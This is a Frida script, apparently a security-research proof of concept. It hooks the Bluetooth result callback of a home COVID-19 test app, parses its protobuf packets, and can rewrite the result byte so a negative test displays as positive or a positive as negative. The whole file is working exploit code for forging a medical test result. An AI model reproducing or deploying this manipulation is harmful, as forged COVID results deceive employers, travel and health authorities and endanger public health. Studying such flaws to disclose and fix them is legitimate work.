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frida-scriot.js
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frida-scriot.js
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console.log("[#] script loaded")
/**
*
* Frida script which will attempt to change a COVID 19 test
* not perfect because it would take time to fully implement their custom protobuf parser
* instead, this script will look for specific byte pattern and replace it
*
* 04 08 13 10 03 = negative
* 04 08 13 10 02 = positive
*
* Android app version: 1.4.2
**/
var flipResults = false // change to true if you want to flip results
var yayconstantbytepositionyay = 0
var yayconstantpayloadyay = []
var yayconstantpayloadlengthyay = yayconstantpayloadyay.length
Java.perform(function() {
var yayclass1yay = Java.use('b.a.a.h.v3.k0$a');
yayclass1yay.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic').implementation = function(a,b) {
yayconstantpayloadyay = b.getValue()
yayconstantpayloadlengthyay = yayconstantpayloadyay.length
var yayprotobufyay = bytes2hex(yayconstantpayloadyay)
var yayLengthyay = yayprotobufyay.length
var yayLength2yay = yayconstantpayloadyay.length
var yayfirstByteyay = theParser(yayconstantpayloadyay, 0)
var yaybluetoothpacketcountyay = theParser()
var intMsgCase = theParser()
var intPacketSize = theParser()
var yayParsedyay = "\n\t"
switch (intMsgCase[1]){ // com.cuehealth.protobuf.reader.CueMessage.CueMessage(Abstracto, g0)
case 8:
var yayMsgTypeyay = "8 not_named"
break
case 16:
var yayMsgTypeyay = "16 not_named"
break
case 26:
var yayMsgTypeyay = "26 CueDeviceInfo"
break
case 34:
var yayMsgTypeyay = "34 CueDeviceStatus"
yayParsedyay = yayParsedyay + cueDeviceStatus(intPacketSize[1])
break
case 42:
var yayMsgTypeyay = "42 CueDeviceBatteryStatus"
break
case 80:
var yayMsgTypeyay = "80 not_named"
break
case 90:
var yayMsgTypeyay = "90 CueProcedureStep"
break
case 106:
var yayMsgTypeyay = "106 CueDeviceStats"
break
case 114:
var yayMsgTypeyay = "114 CueResetCause"
break
case 122:
var yayMsgTypeyay = "122 CueCartridgeRuntimeData"
break
case 130:
var yayMsgTypeyay = "130 CueProcedureHeader"
break
case 138://
var yayMsgTypeyay = "138 CueProcedureResponse"
break
case 144:
var yayMsgTypeyay = "144 not_named"
break
case 154:
var yayMsgTypeyay = "154 CueRuntimeDataReadResponse"
break
case 162:
var yayMsgTypeyay = "162 CartridgeData"
break
case 170:
var yayMsgTypeyay = "170 TestResults"
var yayResultFoundyay = true
var yayNegativeResultyay = true
if (yayprotobufyay.includes("220408131003", 10)){
yayParsedyay = yayParsedyay +
"\n [#] COVID-19 NEGATIVE test found"
} else if (yayprotobufyay.includes("220408131002", 10)){
yayParsedyay = yayParsedyay +
"\n [#] COVID-19 POSITIVE test found"
yayNegativeResultyay = false
} else {
var yayResultFoundyay = false
}
if (yayResultFoundyay) { // results found in payload
if (flipResults) { // flip results = true
if (yayNegativeResultyay) { // negative test
var yaypositionyay = yayprotobufyay.indexOf("220408131003")
var yayrawbytesyay = b.getValue()
yayrawbytesyay[(yaypositionyay/2)+5] = 2
b.setValue(yayrawbytesyay)
yayParsedyay = yayParsedyay +
"\n\t[#] changed COVID-19 NEGATIVE to POSITIVE" +
"\n\t[#] new hex payload: " + bytes2hex(yayrawbytesyay)
} else { // positive test
var yaypositionyay = yayprotobufyay.indexOf("220408131002")
var yayrawbytesyay = b.getValue()
yayrawbytesyay[(yaypositionyay/2)+5] = 3
b.setValue(yayrawbytesyay)
yayParsedyay = yayParsedyay +
"\n\t[#] changed COVID-19 POSITIVE to NEGATIVE" +
"\n\t[#] new hex payload: " + bytes2hex(yayrawbytesyay)
}
} else { // flip results = false
if (yayNegativeResultyay) { // negative test
yayParsedyay = yayParsedyay +
"\n\t[#] did NOT change COVID-19 NEGATIVE to POSITIVE"
} else { // positive test
yayParsedyay = yayParsedyay +
"\n\t[#] did NOT change COVID-19 POSITIVE to NEGATIVE"
}
}
} else {
yayParsedyay = yayParsedyay +
"\n\t[#] did NOT find any test results in payload"
}
break
case 178:
var yayMsgTypeyay = "178 EccPublicKey"
break
case 186:
var yayMsgTypeyay = "186 HMAC"
break
default:
var yayMsgTypeyay = "X UNKNOWN"
}
console.log(
"[#] " + yayMsgTypeyay.split(')')[0].split(' ')[1] + //message type
"\n hex payload: " + yayprotobufyay +
"\n raw bytes length: " + yayLength2yay +
"\n bluetooth packet count: " + yaybluetoothpacketcountyay[1] +
"\n packet type: " + yayMsgTypeyay +
"\n packet size: " + intPacketSize[1] +
yayParsedyay +
"\n"
)
var ret_value = this.onCharacteristicChanged(a,b);
// reset
yayconstantbytepositionyay = 0
yayconstantpayloadyay = []
yayconstantpayloadlengthyay = yayconstantpayloadyay.length
return ret_value;
}
});
function bytes2hex(array) {
var result = '';
for (var i = 0; i < array.length; ++i)
result += ('0' + (array[i] & 0xFF).toString(16)).slice(-2);
return result;
};
function theParser() { // returns [byteposition, result]
var var3_bytePosition = yayconstantbytepositionyay
var var1_payloadLength = yayconstantpayloadlengthyay
if (var1_payloadLength != var3_bytePosition) {
var var6 = yayconstantpayloadyay
var var2_bytePositionPlus1 = var3_bytePosition + 1;
var var7 = var6[var3_bytePosition];
if (var1_payloadLength - var2_bytePositionPlus1 >= 9) {
var1_payloadLength = var2_bytePositionPlus1 + 1;
var3_bytePosition = var7 ^ var6[var2_bytePositionPlus1] << 7;
if (var7 >= 0) {
yayconstantbytepositionyay = var2_bytePositionPlus1;
return [var3_bytePosition, var7] // need byte position and var7 result
}
if (var3_bytePosition < 0) {
var2_bytePositionPlus1 = var3_bytePosition ^ -128;
} else {
var2_bytePositionPlus1 = var1_payloadLength + 1;
var3_bytePosition ^= var6[var1_payloadLength] << 14;
if (var3_bytePosition >= 0) {
var3_bytePosition ^= 16256;
var1_payloadLength = var2_bytePositionPlus1;
var2_bytePositionPlus1 = var3_bytePosition;
} else {
var1_payloadLength = var2_bytePositionPlus1 + 1;
var2_bytePositionPlus1 = var3_bytePosition ^ var6[var2_bytePositionPlus1] << 21;
if (var2_bytePositionPlus1 < 0) {
var2_bytePositionPlus1 ^= -2080896;
} else {
var var4 = var1_payloadLength + 1;
var var5 = var6[var1_payloadLength];
var3_bytePosition = var2_bytePositionPlus1 ^ var5 << 28 ^ 266354560;
var2_bytePositionPlus1 = var3_bytePosition;
var1_payloadLength = var4;
if (var5 < 0) {
var var8 = var4 + 1;
var2_bytePositionPlus1 = var3_bytePosition;
var1_payloadLength = var8;
if (var6[var4] < 0) {
var4 = var8 + 1;
var2_bytePositionPlus1 = var3_bytePosition;
var1_payloadLength = var4;
if (var6[var8] < 0) {
var8 = var4 + 1;
var2_bytePositionPlus1 = var3_bytePosition;
var1_payloadLength = var8;
if (var6[var4] < 0) {
var4 = var8 + 1;
var2_bytePositionPlus1 = var3_bytePosition;
var1_payloadLength = var4;
if (var6[var8] < 0) {
var1_payloadLength = var4 + 1;
var2_bytePositionPlus1 = var3_bytePosition;
if (var6[var4] < 0) {
return [var3_bytePosition, 'idkyet1']
}
}
}
}
}
}
}
}
}
yayconstantbytepositionyay = var1_payloadLength;
return [var3_bytePosition, var2_bytePositionPlus1] // need byte position and var2_bytePositionPlus1 result
}
}
return [var3_bytePosition + 1, -1]
}
function theParserHelper1() {
var j = 0
for (var i = 0; i < 64; i += 7) {
var K = theParserHelper2()
j |= (K & 127) << i
if ((K & 128) == 0) {
return j
}
}
}
function theParserHelper2() {
var i = yayconstantbytepositionyay
if (i != yayconstantpayloadlengthyay) {
var bArr = yayconstantpayloadyay
yayconstantbytepositionyay = i + 1
return bArr[i]
}
}
function cueDeviceStatus(intPacketSize) {
var statusArr = ["UNKNOWN", "WAITING_FOR_CART", "WAITING_FOR_SAMPLE", "RUNNING_TEST", "TEST_COMPLETED", "CART_ERROR", "DEVICE_ERROR", "TEST_PAUSED", "PENDING_PAUSED"]
var yayflagyay = true
var yayresultyay = ""
while (yayflagyay) {
var yayintyay = theParser()[1]
switch(yayintyay){
case 8: // state, p()
var statusvalue = theParser()[1]
yayresultyay = yayresultyay + "status: " + statusvalue + " (" + statusArr[statusvalue] + ")" +
"\n\t"
continue
case 16: // error, p()
var errorvalue = theParser()[1]
yayresultyay = yayresultyay + "error: " + errorvalue +
"\n\t"
continue
case 40: // elapsed time, H()
var elapsedtimevalue = theParser()[1]
yayresultyay = yayresultyay + "elapsed time: " + elapsedtimevalue +
"\n\t"
continue
case 58: // cart status, builder
var cartstatussize = theParser()[1]
if (cartstatussize % 2) {
cartstatussize = cartstatussize + 1
}
var tempmarker = cartstatussize/2
while (tempmarker != 0){
theParser()
tempmarker = tempmarker - 1
}
yayresultyay = yayresultyay + "cartstatussize: " + cartstatussize +
"\n\t"
continue
case 80: // device warning, p()
var devicewarningvalue = theParser()[1]
yayresultyay = yayresultyay + "devicewarning: " + devicewarningvalue +
"\n\t"
continue
case 98: // preheat, builder
var preheatsize = theParser()[1]
if (preheatsize % 2) {
preheatsize = preheatsize + 1
}
var tempmarker = preheatsize/2
while (tempmarker != 0){
theParser()
tempmarker = tempmarker - 1
}
yayresultyay = yayresultyay + "preheatsize: " + preheatsize +
"\n\t"
continue
case 106: // uuid, builder
var uuidsize = theParser()[1]
if (uuidsize % 2) {
uuidsize = uuidsize + 1
}
var tempmarker = uuidsize/2
while (tempmarker != 0){
theParser()
tempmarker = tempmarker - 1
}
yayresultyay = yayresultyay + "uuidsize: " + uuidsize +
"\n\t"
continue
case 112: // mode, p()
var modevalue = theParser()[1]
yayresultyay = yayresultyay + "mode: " + modevalue +
"\n\t"
continue
case 130: // accelstatus, builder
var accelsize = theParser()[1]
if (accelsize % 2) {
accelsize = accelsize + 1
}
var tempmarker = accelsize/2
while (tempmarker != 0){
theParser()
tempmarker = tempmarker - 1
}
yayresultyay = yayresultyay + "accelsize: " + accelsize +
"\n\t"
continue
default:
if ((intPacketSize - 2) == yayconstantbytepositionyay){
yayresultyay = yayresultyay + "end of packet"
break
}
yayresultyay = yayresultyay + "default hit" +
"\n\t"
break
}
yayflagyay = false
}
return yayresultyay
}